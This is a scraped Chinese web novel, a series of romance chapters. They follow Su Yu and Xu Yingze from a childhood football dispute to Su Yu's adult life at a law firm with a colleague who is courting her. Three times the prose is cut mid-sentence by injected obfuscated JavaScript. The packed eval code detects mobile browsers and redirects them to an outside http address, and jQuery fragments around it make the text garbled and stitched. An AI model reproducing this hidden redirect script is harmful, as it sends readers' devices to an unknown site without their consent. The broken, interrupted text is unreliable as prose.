这种感觉并不太好。 他长这么大，什么时候被这么忽视过？哪次不都是大家围着他给他这给他那的？ 怎么偏是苏郁，几次三番让他不痛快。 快到王虎家单元的时候，徐影泽忽然扯了扯苏郁的衣角，轻声说：“要不算了。” “怎么能算了！”苏郁很惊讶，“他们扎堆欺负你诶！” “他耳朵都被拧成那样了，”徐影泽摸摸鼻尖，扫了眼王虎通红的耳朵，“还撂倒了一个，不算吃亏。” “……确定？” “嗯。” “……真算了？” “嗯，算了。” 苏郁想了想。 她倒也知道得饶人处且饶人，既然当事人都不介意了：“那……要是他们以后要是再这么多人围你，你找我！” 苏郁一脸认真，俨然一副她才是真正孩子王的模样，而徐影泽就是她新纳入麾下的小弟，要仔细照拂。 徐影泽看着那张有几分倔劲儿的脸，不知怎的，先前的气消了不少。 “嗯。”他轻轻说。 于是苏郁放开王虎：“你看人家的肚量，再看看你，臊不臊。” “没你臊！”王虎脸涨得通红，“假好心什么，神经病！” 徐影泽忽然轻声说：“我赔你。” “什么？”王虎没听明白。 “你的足球，”徐影泽回答，“不是让我害得收走了么。” 他认真地看着王虎。 “我赔你。” “什么足球？”苏郁一脸懵。 徐影泽简单向她讲述了昨天发生的事，嗯，在保障自己受害者身份的前提下。 “天哪，那不是他自己犯的错误么？为什么还得你赔他足球？你是不是傻！” 你才傻，徐影泽在心里吐槽。但嘴上说得却是：“他这么看重这球，它对他来说一定很重要，我愿意赔给他。” “……你人真好。”苏郁被感动到。 那个年代，足球是属于小朋友的奢侈品。 一方面是因为价格不算低，那时候，家庭条件好又愿意为孩子的爱好消费的父母是少数，尤其在D市；另一方面，大部分家长思想观念并不怎么开明，他们只觉得，小孩子嘛，最重要的还是学习，足球什么的，玩物丧志。 王虎之所以能成为“孩子王”，多少也是因为大部分孩子是无法拥有这么一只属于自己的足球的。有人愿意无私分享，他们就愿意围着他捧着他，跟他一起玩。 王虎的脸憋得通红：“假好心什么！要不是因为他！我也不会踢坏人家玻璃！” “你真是不识好歹……”苏郁咋舌，一脸嫌弃。 “你懂啥！”王虎指着徐影泽，“这小子一肚子坏水！你还真信他会赔我球？” 苏郁正要说什么，就听徐影泽说：“这样，明天还是这个时候，咱们还是这里见。我把球给你。” 王虎不说话了。 “苏郁做证。” 王虎有些犹豫：“……真、真的？” 说实话，足球的诱惑还是很大的。小小的足球承载了大大的欢乐，这几天被家长“禁足”的日子，可不是一般的痛苦。 哪怕王虎嘴硬，但还是有几分期盼和相信在心里头——万一呢？ “拉勾。骗你是小狗。” 王虎想了半晌，伸出小肉手。 “拉勾上吊一百年不许变！” 事件暂时告一段落。 王虎离开后，苏郁自告奋勇要互送徐影泽回家，理由是怕王虎反悔，或者他那群小弟又跑来搞什么事。 至于吗？徐影泽心想。 他都一脚踢飞了个带头的，又凭着金钱的力量解决了另一个刺头，他是不相信还会有什么“小弟”敢惹到他头上。 幼稚。 不过—— 能和她多呆一会儿的感觉还不错。 一路上，耳边尽是苏郁絮絮叨叨的讲解，诉说着生活在这片小区的人与一些秘辛过往，以及一次又一次的安顿嘱咐：“下次有人再因为你面生欺负你，你就找我。” “嗯。” 直到徐影泽到了单元楼下。 “你家几楼？”苏郁问，“咱们是临栋诶！” “四楼。”徐影泽回答。 “我家也是四楼！”苏郁很兴奋，“那是不是我们从窗户看能看到对方家里！” 楼与楼之间距离不远不近，同层，次卧正对着次卧，打开窗户大声说话可以能听到的程度。 “真有缘！”女孩儿回头笑盈盈地跟他说。 徐影泽看着她月牙儿般的眼睛，轻轻“嗯” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16295520|182724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了声。 分开后，徐影泽回到自己房间，他不由自主地看向对面—— 天色已经暗了，浅浅的暮色里，零星几户人家已经亮起了灯，空气中充盈着孩童的吵闹尖叫。徐影泽看到属于苏郁家的窗户，带着些许积灰的玻璃背后，印着粉色碎花的布帘，遮得严实，里面黑黑的。 没一会儿，一抹亮色从里面渗了出来。 然后窗帘的缝隙里探出一颗小小的脑袋，左右晃了一圈后，朝着徐影泽的方向落定，然后伸出一只胳膊使劲儿朝他挥舞。 徐影泽看着看着，嘴角勾起一抹浅笑，跟着挥了挥手。 ******* 第二天，约定的时间地点，徐影泽如约带了一只足球，递给了王虎。 得到这只足球的过程几乎没有难度。 徐妈妈一度希望徐影泽可以像普通孩子一样拥有快乐无忧的童年，但他只喜欢扎在书堆里看不符合他这个年纪的书籍，平时很少与同龄的孩子一起。 所以当她听到徐影泽讨要足球是为了和小朋友一起玩，开心得不得了，第二天上班午休觉都没睡，专门去体育用品店买了只，还说：“没想到你这么快就交到朋友了，妈妈真为你高兴！” 徐影泽没说实话，不想扫她的兴。 此刻，王虎盯着崭新的足球，两眼放光。徐影泽带来的这只质量比他之前拥有的那只还要好出许多，上面印着帅气的图案纹路，他兴奋地说：“哇！这……这是A牌的！” 徐影泽不懂这些，但从王虎的反应来看，应该是什么知名品牌。 “很贵吗？”作为监督人的苏郁疑惑地看着那只足球，显然也不太懂。 “你真是头发长见识短，”王虎一脸嫌弃，“A牌可是世界顶级运动品牌！世界杯都用它家的球！” “哦……”苏郁挠挠脑袋。 王虎爱不释手地抱着足球，忽然笑着拍上徐影泽的肩膀，一口大白牙在晒得黝黑的皮肤间格外醒目：“你这个人说话倒是算话！这朋友我交啦！” 徐影泽被这一拍给拍得有些发懵，没等他反应过来，王虎拉过他的胳膊拽着他往空地上走，嘴里念叨着：“来来来！我都好久没踢球了！踢它个爽快！” 徐影泽皱着眉，想抽开胳膊，但对方攥得很紧。他求助似的看向苏郁，苏郁却给了他一个鼓励的眼神。那眼神好像在说：和解了就好和解了就好，大家开开心心一起玩吧！ ……可我对这些玩意儿根本没兴趣啊！ 徐影泽在内心咆哮。 苏郁跟在旁边，三个人分散位置站开，然后你一脚我一脚地传起了球。 开始徐影泽还老大不情愿，想着怎么拒绝这种无聊的游戏逃回家，出神间苏郁已经把球踢到了他脚下，呼唤他传球。 “你怎么不踢呀！”女孩儿眼里亮晶晶的。 甜甜的开朗笑容从她唇角溢出。 很可爱。 徐影泽无法拒绝。 他忍着别扭随脚踢出，球飞向了王虎的脸。 因为从小学习跆拳道，徐影泽脚上力气还挺大。足球随着脚劲飞速旋转，很快就要砸到王虎脸上—— 徐影泽正担心两人误会他是故意的，就见王虎小小的脑袋使劲儿一磕，一个头球传回了徐影泽这边。 “好球！” “你们怎么都不传给我！”苏郁抱怨。 两人嘻嘻哈哈地笑着。 夕阳西沉，暮光为天边的晚霞着色，层层叠叠，晕染出一片浅橘。 王虎和苏郁的笑声透过明灭的光影传过来，仿佛有什么壁垒被打碎，分明的边界渐渐模糊了起来，渗入丝丝暖意。 看着暮光下欢声笑语的两人，有那么一瞬的恍惚，让他觉得，好像这次搬家和转学——也没他想象中那么糟糕嘛。 5. 前奏 当初晨的第一缕阳光，透过楼层间隙照射到苏郁脸上的时候，她缓缓地睁开了眼睛。 白色墙壁的整洁房间，熟悉的一丝不乱。 清爽的海盐味里隐隐漂浮着一丝油烟香气。 她皱皱鼻子，打了个呵欠，在床上伸了个懒腰。 一夜无梦，睡眠质量不错。 坐起身，她活动了一下肩颈。 隐约记得自己是在被徐影泽背回家的路上睡着了。 扫了一眼身上皱皱巴巴的衬衫，她有些烦恼地揉了揉脸，然后下床踢着拖鞋走向卫生间。 她在徐影泽家留宿也不是第一次了，并不怎么把自己当外人，或者说，徐影泽也从没把她当过外人。 脚上的拖鞋是她的码数，洗漱台上一套全新的刷牙杯也已经被人细心地倒上了水，挤好了牙膏。苏郁忍不住探出头对着厨房里正在做早饭的徐影泽喊：“徐影泽，你可真是宜室宜家！我快感动死了！” 男人没回她的话，也不知道听到没有。 不过以她对他的了解，铁定是听到了。 苏郁正准备缩回去，就见徐影泽端着三明治和牛奶冷着脸从厨房走了出来。 “现在是八点十分。”他语气很平静。 “所以呢？”苏郁明知故问。 “你再不快点，就要迟到了。” “不会的，”苏郁缩回卫生间，清脆的嗓音被狭小的空间包裹，带了几分含糊不清，“我的生物钟平时就是这样，睡够时间了就会醒，6个小时，不多不少……” 一阵踢里哐啷的声音过后，她忽然又猛地探出头来，满脸不可置信地看向徐影泽。 “你帮我卸妆了？”眼睛瞪得有铜铃大。 别说脸上的妆被细细擦洗干净，伤口也被重新处理过，换了新的医用贴布。 徐影泽没回话，当作默认，一边看着手机端的新闻app吃起了早餐。 两厢沉默，只有碗筷碰撞。 半晌后觉得不大对劲，徐影泽抬头看向卫生间方向，发现苏郁还在盯着他看…… “你那什么表情？”他皱眉。 “我只是觉得你这人太可怕了，”苏郁做了个发抖的动作，“我没见过人细心成你这样！” “……那你现在见过了。”继续吃饭。 “你……交女朋友啦？”否则屋子里怎么会有卸妆水这种东西？ 等等，如果他交了女朋友，她留宿是不是有点不太好？ “没有。”徐影泽语气冷淡，但回得很干脆。顿了顿，他的嘴角扯出一道嘲讽的笑容来，阴阳怪气，“我有女朋友会不让你知道？” 是啊，他真有了女朋友，那个人又不是她。他一定会把那女生拉到她面前让她好好看看。 可一想到她可能毫无反应的样子又觉得很挫败、受伤…… 所以这种事他不可能做。 “那这卸妆水……” “新买的。” “我是你女儿吗？”苏郁开玩笑，“你比我妈像我妈多了。” “……” 徐影泽放下筷子，不可闻地呼了口气。 说实话有些恼火。 一个男人能为一个女人做到这样细致的地步难道仅仅是因为他闲？ 他很想怀疑眼前的女人是在故作不知故作不懂，可他又偏偏知道，她说话向来说什么就是什么。什么试探，羞涩，暧昧，潜台词，在她那里从没有这样的概念—— 纯纯没把他当男人看！ 徐影泽用了小一分钟才把沸腾的情绪给压下去（当然，这种情绪细节变化她也从来不会在意当回事），拾起筷子继续吃他的饭。 “养了那么多年的宠物，多操心这么一星半点，”他缓缓说，“应该的。” 然而—— “哈哈哈哈。”换来一阵傻笑。 “……” 你看，如今哪怕是被动攻击和嘴毒，几乎也不会让对方情绪起什么波澜。 徐影泽忽然感觉这饭让人有些没胃口，好在他马上就吃完了。 就在这时候，已经洗漱完毕的苏郁风一样地贴了过来，拉开椅子坐到他对面，直接上手拿起了盘子里的三明治。 “……筷子！”徐影泽拿筷子背敲了敲她的手。 “谁吃三明治用筷子，”苏郁一顿狼吞虎咽，“也就你一天这么穷讲究。” 她两三下吃完，一口气喝掉面前的牛奶，抽了张纸巾就往门外冲。 “我要赶地铁！先走了哈！”说完，人就不见了踪影。 徒留徐影泽坐在桌前叹气。 …… ……她刚才喝掉的牛奶。 是他的。 ***** “等一下！等一下！” 眼看电梯要合上，苏郁一个健步，强行用胳膊把门撑开挤了进去。 晨班的电梯里人本来就多，忽然插进来一个人更挤的慌，周围人各个一副厌烦的面孔，神色各异地盯着她看。 “不好意思，不好意思。”苏郁讪讪地侧头，笑着道歉，余光一扫，见着了缩在角落里同期的李妍，冲她挤了挤眼睛。 等过了几层，梯仓内的人少点以后，两人才挪到了一处，开始说话。 “早！” “早啊！”李妍注意到苏郁的脸，“脸怎么了？” “啊，不小心划破了。”苏郁不想解释太多。 “我还是第一次见你素面朝天的呢。” 今天因伤素颜，苏郁整个人显得寡淡又有点憔悴。但比起平时的利落多了几分纤弱感，怪新鲜的。 “那说明我们的感情还需要进一步培养，”苏郁眨了眨眼睛，“这样你会有很多机会看到我不施粉黛的样子。” 李妍笑得花枝乱颤：“不愧是咱律所庭辩一姐，就是会说。” 此刻胳膊终于可以舒展一些，苏郁理了理凌乱的头发，西装下的衬衣还是皱皱巴巴的，捋不平。 李妍看她整理，忍不住调侃：“衣服这么皱都没换……难得这么邋遢。总不会——去男人家留宿啦？” “瞎说什么呢。”知道对方意有所指，苏郁赶紧撇清。不过回头一想，好像对方也没说错。 徐影泽多少……好像也算是个男的。 吧。 “平时像个拼命三娘，”李妍盯着楼层显示器继续说。她不像苏郁，性子有点慢，说话声音慵慵懒懒，偶尔拖延扬起的尾调衬着鼻音，跟只猫儿似的，“成年人了，偶尔有点私生活，不丢人。” 这姐们儿肤白貌甜，长发飘飘，身材高挑纤细。在律所的例行日常是收件。追求者送的花、礼物，换着花样来。偶尔还能见到打扮精致帅气的酷哥开着好车在楼下接她，一口一个老公老婆叫得亲昵，隔段时间换一个，款式不带重样。 此刻电梯里萦绕的都是她身上的香水味，那种甜到发腻的气味直往苏郁鼻子里蹿，不是特别习惯。 “去你的，”苏郁白她一眼，“以为人人都跟你一样？” “姐姐我天生丽质，”李妍作臭美状，“追求者太多了，挑不过来。” “……造吧你。” “哼哼，你这叫吃不到葡萄说葡萄酸，”李妍开着玩笑，显示器停在了14，梯仓里又下去两三人，“不过说真的，工作是工作，生活是生活。我看你三天两头加班，一心扑在工作上面，恋爱也就不说了。除了工作，你难道就没点别的追求？别的兴趣爱好？” 苏郁认真地想了想：“好像没有。” “看电影，听歌，运动，画画，手作，烹饪……再不济吃好吃的、打游戏？也是生活方式的一种嘛。” “……好像，都不怎么感兴趣？”苏郁脑子里忽然冒出几个词，是徐影泽吐槽过她的八竿子打不着关系的词：惩恶扬善，劫富济贫…… 这算爱好吗？ “学习？”毕竟律师这行学习不能停。 “……你学习总不会也是为了工作吧？” “那工作就是我的爱好。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16295521|182724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >李妍一脸无奈：“你是真的不会享受生活啊。” “我又不像你，有大公司傍身。悠悠闲闲。” 17层。 “瞧你说的，法律顾问也不是喝茶看报就能完成工作的，”李妍回怼，“我背后下的功夫也不可能天天往苏大忙人跟前晒不是？” 显示器终于显示出了22，“叮”的一声，电梯门哗啦打开。 “不过呢——” 电梯后一人长身而立，板正的西装革履，手上拿着文件夹正低头和另一人说着什么。电梯打开的一瞬，对方微微抬了抬眼，扫过两人，在苏郁脸上细微地停了一瞬，又垂下头去。 “女人只有工作滋养可是会枯萎的哦。” 李妍丢下一句话，小高跟在地上轻轻一踩，扔下苏郁娉娉婷婷的往电梯外走去，留下一室余香。路过那两人的时候，她挤出营业笑容打招呼：“韩律、小张，早。” “早啊，妍姐。”张景文，韩飞的律师助理，今年刚二十岁，在校大学生一枚，还很青涩。李大美女灿烂的笑容让他立马红了耳根，旁边的韩飞却只是冲她礼貌性点了点头。 在后面打着呵欠的苏郁跟着问了早，却被韩飞手上的文件夹吸引了注意力，停下脚步问：“这是什么？” 那头张景文还在和李妍寒暄，苏郁忽然地靠近让韩飞不自觉把身体往后拉了些。 “华荣知识产权纠纷案的一审判决书，刚收到的。”他轻咳一声，视线转向苏郁的脸，貌似不经意地问，“你脸怎么了？” “啊……不小心划破了。”苏郁眼神躲闪，漫不经心地回。说起来见义勇为这种事被知道会有点糗，尤其是被律师行业的同事知道，铁会嘲笑她的。 明明知道那些不应该冲动行事的门门道道，明明应该独善其身，可她就是不太能够做到。 韩飞和苏郁李妍同期进的天成，但没有授薪期，是二把手李佳明的得力大将，和苏郁协作配合办过不少案子，搭伙儿加班是常态，算是工作上好搭档。 对优秀的职业人来说，这种摆明了不太像专业人会做的事……还是别让对方知道了。 “……昨天没回家？”韩飞问。 “啊，”苏郁尴尬地一笑，她不太擅长说谎，“哈哈，嗯。” 韩飞没说话了，气场有些冷峻。 他平时给人的感觉是正派、严谨、雷厉风行的，工作上一丝不苟，严肃的时候像座大山，而其他人就是山下的影子。 所以很多人都有些怵他。 不过苏郁和徐影泽打交道年份久了，更难搞的都见过，对这种自带气场的人适应还算良好。 她低头去看字，一缕碎发垂在鬓边轻晃，浓长的睫毛在发后扑闪，眼底满满的专注。 韩飞眼神闪烁了几个来回，紧抿的嘴角略松，看着她，不自觉抬起手，想帮她把那缕头发别回去，然而手才到半路，苏郁的眼睛一转，朝他盯了过来。 “怎么？”琥珀色的眼睛像是一面镜子，晶亮的镜面里能看到自己倒影。 韩飞愣了一下，有些尴尬。 “这里……”手立马转向，改指着文书上的某行字，他的语气平稳不惊，“华荣对赔偿金额不太满意。” 苏郁皱起眉，疑惑地说：“我知道呀。” 这个案子前期材料都是她准备的，韩飞半路接手，但到底是一个团队，一审结果庭审结束她就知道了。 韩飞正想着怎么转移话题掩饰自己刚才的举动，团队老大李佳明从自己办公室探出头来，对着几人方向喊：“苏郁，来我办公室一下！” 苏郁应了声，把文件夹推回给韩飞：“先过去了。”然后飒踏流星地大步进去了办公室。 “韩哥，”张景文别过李妍后凑了回来，看着若有所思的韩飞，嘴角挂着八卦的笑，“你今天带来的东西，原来是准备送苏律的？” 韩飞扫他一眼，张景文立马闭了嘴吐舌头。 ……这脸色，跟早上到律所时候比，可真是一个天一个地啊！ 6. 视点 苏郁踏进李佳明办公室的时候，他正站在窗前，一手端着咖啡，一手插在裤兜里，望着不远处正在修缮的楼层，不知道在想什么。 “师父。” 苏郁打招呼。李佳明回过头，对她轻轻点了点头，示意她：“坐。” 苏郁也没客套，在他办公桌前坐了下来。 沉默了一会儿，李佳明慢悠悠地开口：“小苏，你来天成几年了？” 苏郁不知道他为什么忽然问起这个。 “四年。”她回答。算上上一个律所的实习期，今年是她从事律师这行的第五年。 李佳明没着急说话，静了一会儿后，他把视线转回窗外，语调平缓：“准备一直这样下去？” 苏郁愣了一下，没反应过来。 “您的意思是？” 李佳明走回办公桌坐下，手上的咖啡随手一放，那张被岁月仔细雕琢过的面孔有浅浅沟壑点缀，轮廓柔和，看不出任何情绪。 “苏郁，你的工作能力很强，”李佳明十指交叉，托住下巴，难得地叫了苏郁的名字，“你的上限不该止于此。” 顿了顿。 “上次跟你提过的事，考虑的怎么样了？” 苏郁了然。 从授薪律师转提成的事李佳明跟她提过几次，比起拿固定薪资的律所工具人，提成制对律师个人发展来说上限更高。苏郁在天成工作的这些年认真踏实负责，实力有目共睹，也积累了一定的口碑，李佳明爱才惜才，觉得她可以有更好的发展。 见苏郁沉默，李佳明问：“还是不想？” 其实苏郁知道，他能这么严肃地跟她谈论职业规划，是真的很为自己着想了。 这一行人人各为自己的利益而战，哪有人真的在乎他人会怎样呢？说白了她转不转提成跟李佳明关系不大。授薪薪资低，她又是个能干的，她做授薪对他而言不是坏事。 “我这个性……”苏郁苦笑，“不太适合跑案源。” “哪有什么适合不适合，”李佳明说，“你是跟委托人打交道的时候卡壳？还是庭辩的时候秃噜嘴？” “……不喜欢那些目的性太强的人际关系。”工作本身也就罢了，要靠着私交去找工作，把人际关系都转化成能给自己带来金钱的人脉……她过不去心理关。 李佳明一声嗤笑，摇头：“你还是这么天真。” 苏郁眼睑微垂。 “是。” “你在天成四年，跟我办了那么多案子。你告诉我——人和人之间什么关系没有目的？” “……” 沉默了一会儿，她忍不住回嘴。 “……那您跟我说这些也有目的？” “有啊。”李佳明不怒不恼，“你是根好苗子，又是我一手带起来的。转提成，你挣得多，我抽成多。互惠互利，这个回答你可还满意？” 苏郁没回话。 “你和我认识时间久，我清楚你的脾性，”李佳明继续说，“你不是那种会忘本的人。培养你，我放心。” “……可我觉得我不适合。” 说完抬头，李佳明正无言看着她。 两相对视。 那双充满智慧的眼睛此刻直视苏郁，却像是审讯室里的光，探寻似的照着她，试图一窥她内心某个幽暗的角落。 这锋利只一瞬，却让苏郁有种被剥开的惨痛感。 你是在顾虑什么？怕什么呢？ 静默。 良久后，李佳明挥了挥手：“你先回去工作吧。” 苏郁点点头，站起身。 推门离开的时候，她听到李佳明在她背后补话。 “再好好想想。” 离开李佳明的办公室，苏郁呼吸一畅，凝滞的空气复又流通起来。 “苏律，你没事吧？”张景文抱着一摞资料刚好走过，“脸色很差诶。” “没什么。”苏郁扯出一道笑容，正准备回工位继续工作，就听到隔壁谈话室里有人高声叫喊：“求求你！这是我攒了好久的！” 苏郁望了眼声音传来的方向问：“什么情况？” 张景文一脸苦笑：“有个小朋友说是要请律师，带的钱只够一小时咨询费的。韩律正在里面劝。” “小朋友？”苏郁好奇地探头，从百叶窗缝隙间窥看。 一个像是初中生的女孩儿，和韩飞对坐在会议桌两头。桌面上散落着一片又一片花花绿绿的纸张，堆成小堆，细看，全是钱。 “小妹妹，”韩飞的声音隐约从门内传来，“我们有规定，不能满足你的要求。如果你有需要，我可以帮你联系法律援助机构——” “律师不是公平和正义的化身吗！”女孩儿情绪有些激动，声音隐隐带着哭腔，“为什么不行？” “这些钱我们不能收，”韩飞平稳冷静地解释，“律师不代表公平正义,我们只是提供法律服务的专业人员，用专业的服务维护委托人的合法权益。以及，正式的委托需要签订委托合同，而你说的情况涉及司法鉴定和相关部门的举证，你是未成年人，最好是由监护人出面做这些。” 苏郁听着他们对话，问张景文：“这小姑娘为什么想要请律师？” “好像是家事，”张景文挠挠头，“她父亲有暴力倾向，好像经常家暴她和她妈妈，小丫头想请律师上诉，帮……” 家暴。 听到这个词，苏郁只感觉血液上涌，大脑嗡嗡作响。里间人的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16295522|182724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 絮语繁繁杂杂混在一起，衬着张景文的话，在思绪的洪流中翻转，抽枝，拉穗，化作剧烈的心跳在耳边轰鸣。 那种压迫的窒息感又再次缠了上来。 一呼一吸间，好像有一只大手紧紧攥着她的喉咙，把所有空气挤干。她两眼发黑，张景文后面的话是半个字也没听进去了。 “苏律，苏律！”张景文喊着苏郁，但她脸色惨白，两眼直勾勾的盯着会议室内某个点看，完全没有听到他的声音的样子。 “苏郁？”这时韩飞从会议室走了出来，跟着喊了两声，没反应。 韩飞示意张景文去忙自己的，然后伸手在苏郁眼前晃了晃，躬下身，侧头去察看。 一张棱角分明的脸蓦然在苏郁眼前放大。 像是被从遥远的地方拉回，她失焦的眼睛忽然闪动，琥珀被重新点亮，视线接触，两人之间极近的距离让她不自觉地向后退了两步。 苏郁平缓了下心绪：“谈完了？” 韩飞轻轻“嗯”了声：“怎么了？不舒服？”目光落回她脸上的伤。 “没，”苏郁抓了抓头发，环视了一下周围，“那小姑娘呢？” “走了。” “啊，”苏郁语气里有着几分失落，“……最后怎么说的？” “让她回去找监护人申请法律援助，”韩飞看了一眼大门处女孩儿离开的方向，“也不知道她家里人会不会去申请。” 苏郁跟随着他的视线，又有些轻微的出神，嘴边轻轻滑出三个字。 “不会的……” 声音很小，韩飞没听清。 “你说什么？” “没什么，”苏郁冲他笑了笑，伸展伸展胳膊，“干活儿！”说完转身就走。 韩飞叫住她。 “苏郁，”私称，他看了看周围，见没有人在关注他们这个方向，“今晚有没有空？” 苏郁的表情写着大大的问号。 “你指的什么空？”她扳着手指数，“好像有一、二、三……五六个卷宗要看……” “看完后呢？” “回家啊。”一脸懵。 “……” 韩飞沉默了一瞬，又好像是想起什么，垂首，笑着摇了摇头，抬眼看回她。 “和我一起吃个饭？”他看着苏郁，眼底盛满笑意。 “好啊。”答应的很爽快。 “那说定了。” 韩飞说完，转身离开了。 苏郁见他回去忙，还是一副严肃认真的板正冷峻样儿，仿佛刚才的眼神是她看错。 她觉得好像有点怪，但又说不上来怪在哪。 那种眼神，她好像在哪见过。 哪儿来着呢？ 7. 旧疾 和韩飞去乘车之前，苏郁收到了一条信息。 “晚上一起吃饭？” 是徐影泽。 地下停车场的信号不好，苏郁回信没发出去。韩飞帮她开好车门，问：“想吃什么？” 苏郁收起手机坐上副驾，正想回话，韩飞已经自然地侧身去帮苏郁拉副驾安全带。 男人陌生又熟悉的气息临近，身上淡淡的古龙香水味环绕，苏郁战术性地把身子后仰缩了缩，嘴上拒绝说：“别别别，我自己来。” 她推开韩飞，自己去拉带子，嘴上还不忘碎碎念：“跟我还整什么绅士这套，不嫌难受。越界了哈越界了哈。” “好好好。”有几分无奈。 韩飞见她慌慌张张，完全没有平时工作场合的自如和利落劲儿。这种微不可查的青涩局促和反差，让他忍不住轻声笑了。 “笑什么？”苏郁不解。 韩飞坐回去，边拉安全带边笑着回：“没什么。”语气轻快。 “神经。”不解风情。 顿了顿，韩飞又重复了一遍：“想吃什么？” “韩大律师请客，却问我要吃什么？”苏郁调侃。 “什么都行？” “你看。” 韩飞没犹豫，踩下油门。 车在光影中穿梭，霓虹灯下的城市夜景形成一条鲜亮璀璨的带子不停向后拉扯。沉默在两人之间轻轻流淌，苏郁看着窗外，有些出神。 韩飞感觉她的心情似乎不怎么好。 “你今天有点怪。”他伸手，打开车载音响，目光又忍不住在她脸上的敷料贴上停了停。 与一本正经的工作状态不同，韩飞的私人歌单里几乎都是流行摇滚乐。音乐响起，男主唱富有节奏和爆发的声音立刻填满了清淡的空气，也把苏郁从低迷的思绪里拉回了一些。 “嗯……在想一些事。”苏郁把头摆正，看向前方。车头破开夜色在道路上行驶着，路边的绿植枝柳微垂，缓缓靠近又飞速撤走消失，长长绕绕的马路，想象不到它的尽头。 就在这时候，她的手机震了震，又是一条短信飘了过来。 徐影泽：在干什么？ 苏郁回复：吃饭路上。 韩飞叫她回消息，犹豫再三，带着几分玩笑的意味试探性地问：“……男朋友？” 苏郁被这三个字逗乐了。 “你们今天是怎么了？怎么都这样问我？”她失笑。 “你昨天……不是没回家么？”韩飞看着远处，幽幽地说。 “没回家怎么了？有时候加班没回家不是很正常。再说我也不是没有女性朋友，”苏郁无奈，“你们为什么就认定我是去男人家留宿呢？” 是啊，为什么？ 她很不能懂大家对于男女八卦的热衷度。好像不管什么聊天，最后的落点永远都是这些。 同事之间的八卦流言，陌生网友之间的风花雪月，甚至有时候，毫无情愫的一男一女仅仅是简单相约吃个饭都能引来他人无尽的绮思。 苏郁之前在某社交软件上看到有人说：人类最大的爱好就是看别人搞对象—— 李妍一姑娘家也就罢了，真没想到韩飞也有这种兴趣。 韩飞双唇张了又闭，最后终于挤出两个字。 “……香水。” 苏郁忽然想起什么。 她把衣领往鼻尖拉了拉，徐影泽屋子里的海盐香若隐若现，顿时了然。 苏郁平时并不喜欢用香水之类的东西。没回家，衣服没换还乱糟糟的，身上忽然沾上男香，也难怪一个两个多想。 她很无奈：“韩律什么时候也这么八卦了？” “关心一下战友的情感生活而已。”韩飞答得漫不经心，抬起一只手去切换音乐。 路灯在行道树的枝叶间漏下一地斑驳。 车窗被摇下一条缝，苏郁鬓发被吹乱，眉心皱着，精致小巧的鼻尖在灯光下忽闪忽闪，比平时更多了几分生动。 这种有着几分小女生模样的娇俏样很难见，韩飞偷瞄几眼，压下心头难言的情绪，新播放的歌曲响了一会儿前奏。到副歌的时候，他跟着唱了几嗓子。 嗓音低沉，带着几分沙哑，发音流畅，隐隐还透着几分专业。 “好听啊，”苏郁看向他，诚心夸赞，“练过？” “我私下有和朋友组乐队玩。”韩飞语气有几分小得意。 “好，”苏郁表情却很复杂，“你真是个叛徒……” “怎么？”韩飞笑了笑。 “本来以为你跟我一样，除了工作再没什么私生活了。结果不但有吧，还挺潮的，”她苦笑，“到最后，好像只有我把工作当成了生活。” 车开着，驶进热闹的街区。这时候手机又响了起来。 徐影泽：在哪？ 苏郁正准备回复，就听韩飞说：“工作之外能做的事很多。” “比如呢？” 正巧，红灯。 韩飞刹住车，一手搭上方向盘，侧过脸微笑着看她。 那张棱角分明的脸在阴影下半遮，眼睛却很亮。 “去看我的livehouse演出？” 声音低沉，仿佛响在耳边，带了几分意有所指。 这突如其来的认真凝视，让苏郁心头不由得跳了一拍。 “啊，”她有些尴尬，垂眼去拨耳畔的碎发掩饰，“有机会一定去。” 韩飞一只手却忽然拉近，指尖触向她受伤的那半边侧脸，问：“还疼吗？” 晚风轻轻吹，钻过车窗缝隙悠悠探入。 音乐一转，王菲清澈柔和的嗓音铺开，一首《暧昧》婉转吟唱了起来。 有种很难说清的感觉在心头弥漫开来，重重的，仿佛一枚秤砣，压在胸口，让她开始有些喘不上气，以及—— …… 恶心。 苏郁抬手捂住嘴，脸色发白，试图压下这种感受。 这时候绿灯亮了。 韩飞注意到她状态不大对劲，伸回手，一边开车，一边频频侧头看向副驾：“不舒服？”语气里满是关心。 苏郁没回话，别过头面向车窗，迎着风大口呼吸，脸色惨白。 韩飞以为她晕车。便开进一条小路，找了家便利店，停下车去买水。 他刚离开，苏郁就瘫倒在座位上，冷汗涔涔从背后滑下。 韩飞长相不错，能力不错，除了工作时一板一眼外人很稳重，在律所挺受欢迎的。偶尔能听到一些年轻女 